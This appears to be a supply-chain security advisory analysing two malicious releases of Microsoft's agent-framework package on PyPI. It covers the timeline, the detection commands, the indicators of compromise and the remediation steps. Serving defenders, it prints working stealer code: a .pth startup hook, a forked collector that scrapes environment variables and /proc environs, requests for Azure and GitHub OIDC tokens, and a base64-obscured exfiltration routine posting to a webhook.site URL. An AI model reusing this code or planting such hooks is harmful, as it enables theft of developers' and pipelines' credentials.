Microsoft agent-framework Compromised Twice on PyPI
On this page
Two releases of agent-framework, Microsoft’s official Python metapackage for its Agent Framework, steal credentials from any environment that installs them. Nothing has to import the package. A .pth file runs the stealer each time Python starts, so a pip install in a CI job is enough. It takes environment variables and credential files. It also asks Azure DevOps, Azure managed identity and, in the second release, GitHub Actions for fresh tokens, and sends those out too.
SafeDep flagged version 1.26.1 22 minutes after it was published on 17 November 2026. By then the attacker was close to publishing again. Once 1.26.1 came off PyPI, 1.26.2 shipped the same stealer under different file names, and SafeDep flagged it 4 minutes after upload. Removing one version did not stop an attacker who could still publish. The last clean release is 1.26.0.
Affected versions
| Version | Files | Wheel SHA-256 | Status |
|---|---|---|---|
| 1.26.1 | wheel only, 10,402 bytes | d27fa344…3e989e110 | Malicious, removed from PyPI |
| 1.26.2 | wheel only, 10,449 bytes | 3d20a8bc…a9c9f7e0a9 | Malicious, removed from PyPI |
| 1.26.0 | wheel and sdist | 14267ec8…199b6d71 | Last clean release |
The project is published under the microsoft account on PyPI and gets about 192,000 downloads a month. How many installs the two bad versions got is not known yet.
Timeline
- 20:35agent-framework 1.26.1 publishedMalicious
A single wheel, where every earlier release shipped a wheel and an sdist.
- 20:57SafeDep flags 1.26.1Malicious 0.98
Static analysis of the wheel finds the
.pthhook, the collector and the webhook.site endpoint. - 21:08agent-framework 1.26.2 publishedMalicious
1.26.1 is gone from PyPI. The payload moves to new files and adds GitHub Actions OIDC theft.
- 21:12SafeDep flags 1.26.2Malicious 0.99
Same webhook, new file names, new User-Agent.
- After 21:121.26.2 removed from PyPIRemoved
1.26.0 is again the newest version on PyPI.
How the releases differed from real ones
Every release from 1.20.0 through 1.26.0 shipped a wheel and an sdist. Both malicious versions are a single wheel. The 1.26.1 wheel is 10,402 bytes, up from 6,681 in 1.26.0. A metapackage that always shipped both files now ships one.
Missing provenance does not set the bad wheels apart. PyPI has no attestation for 1.26.0 either, so a consumer had no cryptographic way to tell Microsoft’s uploads from the attacker’s.
How the attacker got publishing access is not known yet. This is the second Microsoft package on PyPI to get rogue releases in six months. In May, durabletask 1.4.1 to 1.4.3 were uploaded with a stolen API token and had no matching commits or tags. The payloads and infrastructure share nothing, so there is no evidence the two incidents are linked.
How the payload runs
Python’s site module executes any line beginning with import in a .pth file under site-packages at interpreter startup. 1.26.1 ships agent_framework_meta.pth, a 28-byte file holding one line. Hashing that line plus a newline reproduces the file’s SHA-256 (21f28e85…98eb5e).
import agent_framework_metaThat import runs agent_framework_meta/__init__.py, where 1.26.1 appends a hook to the otherwise clean file.
# Lightweight runtime diagnostics hook.
try:
from . import _telemetry as _telemetry
_telemetry._start()
except Exception:
pass_start() sets _AF_TEL so child interpreters skip it, then forks and detaches with setsid(). The host process returns at once, so a test run or build shows no delay. Where fork is missing, it uses a daemon thread.
def _start():
if os.environ.get("_AF_TEL"):
return
os.environ["_AF_TEL"] = "1"
try:
if hasattr(os, "fork"):
pid = os.fork()
if pid == 0:
try:
os.setsid()
except Exception:
pass
_run()
os._exit(0)
return
except Exception:
pass
try:
import threading
t = threading.Thread(target=_run)
t.daemon = True
t.start()
except Exception:
passThe same shape, a one-line .pth that imports a module which forks a collector, appeared in LiteLLM 1.107.0 in October.
What it steals
The collector works through four sources.
- Environment variables whose names contain any of 31 substrings, including
TOKEN,SECRET,KEY,AZURE,AWS,GITHUB,HF_,OPENAI,NPM,PIP,SYSTEMandBUILD. Each value is kept up to 8,000 characters. - Credential files, up to 60 under 256 KB each. These cover Azure CLI JSON under
~/.azureand/home/*/.azure,pip.conf,.npmrc,.netrc,.git-credentials, Dockerconfig.json, the Hugging Face token, the Azure AI Foundry configuration, and Azure DevOps self-hosted agent.credentialsunder_work,vss-agentand/mnt/azure_nvme_temppaths. It also takes/app/.env,/app/*.json,/workspace/.envand~/.config/*/token*.json. - Other processes’ environments, from up to 300
/proc/<pid>/environfiles. On a shared or self-hosted runner, that reaches secrets belonging to other jobs. - New tokens it requests from the platform, covered in the next section.
for e in glob.glob("/proc/[0-9]*/environ")[:300]:
try:
raw = open(e, "rb").read().decode("utf-8", "replace")
hits = []
for kv in raw.split("\x00"):
if any(x in kv.upper() for x in ("TOKEN","SECRET","PASSWORD","KEY=","ENDPOINT_AUTH","SYSTEM_ACCESSTOKEN","IDENTITY_HEADER")):
hits.append(kv[:2000])It also records the hostname, user, working directory and sys.argv.
Tokens it requests
Besides reading credentials already on disk, the code asks the platform to issue new ones. Rotating stored secrets does not cover those.
In an Azure DevOps pipeline, SYSTEM_ACCESSTOKEN and SYSTEM_OIDCREQUESTURI are enough to request a federated token for api://AzureADTokenExchange. That is the token a pipeline uses to sign in to Azure through a workload identity federation service connection.
at = os.environ.get("SYSTEM_ACCESSTOKEN") or os.environ.get("SYSTEM_ACCESSTOKEN") or ""
oe = os.environ.get("SYSTEM_OIDCREQUESTURI") or ""
if oe and at:
for suffix, body in [("?api-version=7.1", {"scopes": ["api://AzureADTokenExchange"]}), ("?api-version=7.1", {})]:
try:
req = urllib.request.Request(oe + suffix, data=json.dumps(body).encode(), headers={"Authorization": "Bearer " + at, "Content-Type": "application/json"}, method="POST")
out["ado"]["oidc"] = urllib.request.urlopen(req, timeout=15).read().decode("utf-8", "replace")[:20000]On Azure compute, it asks the managed identity endpoint for an access token to each of these resources. It uses IDENTITY_ENDPOINT or MSI_ENDPOINT on App Service and Functions, and 169.254.169.254 elsewhere. It also pulls instance metadata.
res = ["https://management.azure.com/","https://ai.azure.com/","https://ml.azure.com/","https://cognitiveservices.azure.com/","https://storage.azure.com/","https://vault.azure.net","https://search.azure.com","https://management.core.windows.net/","https://graph.microsoft.com/","https://containerregistry.azure.net","499b84ac-1321-427f-aa17-267ca6975798","api://AzureADTokenExchange"]499b84ac-1321-427f-aa17-267ca6975798 is the Azure DevOps resource ID. A workload with a managed identity hands over tokens for Resource Manager, Key Vault, Storage, Graph and Azure DevOps, scoped to whatever that identity can reach.
Exfiltration
The endpoint is base64 in _ENC and decodes to hxxps://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb. _post() compresses the collected JSON with zlib, base64-encodes it and sends it with a 25-second timeout. Errors are swallowed.
_ENC = "aHR0cHM6Ly93ZWJob29rLnNpdGUvZDM4MWZkODAtZWM2Mi00MmFkLThmNWMtZDFiMTUxMDNjOWJi"
def _post(tag, data):
try:
import urllib.request
u = base64.b64decode(_ENC).decode()
body = base64.b64encode(zlib.compress(json.dumps(data, default=str).encode("utf-8", "replace"), 9))
req = urllib.request.Request(u + "?t=" + tag, data=body, headers={"Content-Type": "application/octet-stream", "User-Agent": "af-runtime-diagnostics/1"})
urllib.request.urlopen(req, timeout=25).read()
except Exception:
passThe data goes to ?t=telemetry. A webhook.site bin is anonymous and needs no infrastructure, which leaves the URL as the only network indicator. Proxy and egress logs that show a POST to it mark the hosts that sent data.
What changed in 1.26.2
1.26.2 restores agent_framework_meta/__init__.py to the clean file. Its SHA-256 (5f04333f…49f1) matches the one in the 1.26.0 wheel. The stealer moves into a new top-level module that starts itself on import.
| 1.26.1 | 1.26.2 | |
|---|---|---|
| Startup file | agent_framework_meta.pth (28 bytes) | af_runtime_diag.pth (23 bytes) |
| Stealer | agent_framework_meta/_telemetry.py | af_runtime_diag.py |
agent_framework_meta/__init__.py | hook appended | same as 1.26.0 |
| User-Agent | af-runtime-diagnostics/1 | runtime-diagnostics/1 |
| GitHub Actions OIDC | no | yes |
| Webhook | d381fd80-… | d381fd80-… |
As with 1.26.1, hashing the one line plus a newline reproduces the published SHA-256 of the startup file (325e7e9f…7f452f93).
import af_runtime_diagA check for 1.26.1’s file names or hashes misses 1.26.2. The webhook is the one indicator both share.
The new GitHub Actions block requests ID tokens for the two audiences Azure federated credentials accept. Any job with id-token: write that installed 1.26.2 handed both over.
# GitHub Actions OIDC (Azure federated credential)
try:
u = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_URL") or ""
t = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_TOKEN") or os.environ.get("ACTIONS_RUNTIME_TOKEN") or ""
if u and t:
for aud in ("api://AzureADTokenExchange", "https://management.azure.com/"):
try:
sep = "&" if "?" in u else "?"
uu = u + sep + "audience=" + urllib.parse.quote(aud, safe="")
req = urllib.request.Request(uu, headers={"Authorization": "Bearer " + t, "Accept": "application/json", "User-Agent": "runtime-diagnostics/1"})
out["gh_oidc"][aud] = urllib.request.urlopen(req, timeout=12).read().decode("utf-8", "replace")[:20000]The rest of the collector is unchanged. The release went up after 1.26.1 had been removed, so whoever controls the publishing path still held it at 21:08.
Check your environments
Look for the versions in lockfiles and requirement files.
$ grep -rnE 'agent[-_]framework.{0,20}1\.26\.[12]\b' --include='*.txt' --include='*.lock' --include='*.toml' --include='*.cfg' .On machines, images and runners, look for either startup file without starting the environment’s Python. Starting it would run the stealer again.
$ find / -path '*site-packages/*' \( -name 'agent_framework_meta.pth' -o -name 'af_runtime_diag.pth' \) -type f 2>/dev/null
$ find / -path '*site-packages/*' \( -name '_telemetry.py' -o -name 'af_runtime_diag.py' \) -type f -exec sha256sum {} + 2>/dev/null | grep -E '39fa329f2a93f734|54d885b7d7161c9e'Treat every secret reachable from an environment that installed either version as exposed. That covers environment secrets, Azure CLI sessions, and Azure DevOps PATs and service connections. It also covers PyPI, npm, NuGet, Docker and Hugging Face tokens, git credentials, and secrets of other jobs on the same self-hosted runner. Rotation does not undo the tokens it had issued. Review sign-in and activity logs for the managed identities and federated credentials that environment could use, from the install time onward. Pin agent-framework==1.26.0 with --require-hashes, and hold off on any newer release until Microsoft confirms it is clean.
Indicators of compromise
| Row | type | value | package | context | first_seen_utc |
|---|---|---|---|---|---|
| 1 | pypi_package_version | agent-framework==1.26.1 | agent-framework | Malicious release; wheel only; payload runs at every Python start via agent_framework_meta.pth | 2026-11-17T20:35:20Z |
| 2 | pypi_package_version | agent-framework==1.26.2 | agent-framework | Malicious release; wheel only; payload moved to af_runtime_diag.pth and af_runtime_diag.py | 2026-11-17T21:08:39Z |
| 3 | sha256 | d27fa34414e6201d5e03e559ef634f020057554d7b3f4898dd5d7cd3e989e110 | agent-framework | agent_framework-1.26.1-py3-none-any.whl (10402 bytes) | 2026-11-17T20:35:20Z |
| 4 | sha256 | 21f28e8517a10ffe431f8d68f5875c85eca4001ae6d118322b0a41873998eb5e | agent-framework | agent_framework_meta.pth @ 1.26.1 (28 bytes) | 2026-11-17T20:35:20Z |
| 5 | sha256 | c275ccbe520ef3c0f02dc6a35389e427f9f1b4e0b12e140cd7bf7179ce143f02 | agent-framework | agent_framework_meta/__init__.py @ 1.26.1 (calls _telemetry._start) | 2026-11-17T20:35:20Z |
| 6 | sha256 | 39fa329f2a93f734b0bb8f5adb203ea3331d1ae479832a5015a54cb17aabd663 | agent-framework | agent_framework_meta/_telemetry.py @ 1.26.1 (stealer) | 2026-11-17T20:35:20Z |
| 7 | sha256 | 3d20a8bc91351a9a16b6db243b848ceca0206b7a8623b02d2af553a9c9f7e0a9 | agent-framework | agent_framework-1.26.2-py3-none-any.whl (10449 bytes) | 2026-11-17T21:08:39Z |
| 8 | sha256 | 325e7e9f0ec94e41ad1a1b7a3f18a6b8b5bffece2e2b97b8d3369eb967452f93 | agent-framework | af_runtime_diag.pth @ 1.26.2 (23 bytes) | 2026-11-17T21:08:39Z |
| 9 | sha256 | 54d885b7d7161c9ed96489c66364c4bfbf635929166843bba10d97d46b5a2e1f | agent-framework | af_runtime_diag.py @ 1.26.2 (stealer) | 2026-11-17T21:08:39Z |
| 10 | url | hxxps://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb?t=telemetry | agent-framework | Exfiltration endpoint in both versions (base64 constant _ENC) | 2026-11-17T20:35:20Z |
| 11 | user_agent | af-runtime-diagnostics/1 | agent-framework | Exfiltration User-Agent @ 1.26.1 | 2026-11-17T20:35:20Z |
| 12 | user_agent | runtime-diagnostics/1 | agent-framework | Exfiltration and GitHub OIDC request User-Agent @ 1.26.2 | 2026-11-17T21:08:39Z |
| 13 | env_var | _AF_TEL | agent-framework | Run-once marker set by _start() in both versions | 2026-11-17T20:35:20Z |
References
- supply-chain
- pypi
- malware
- credential-stealer
- azure
- threat-intel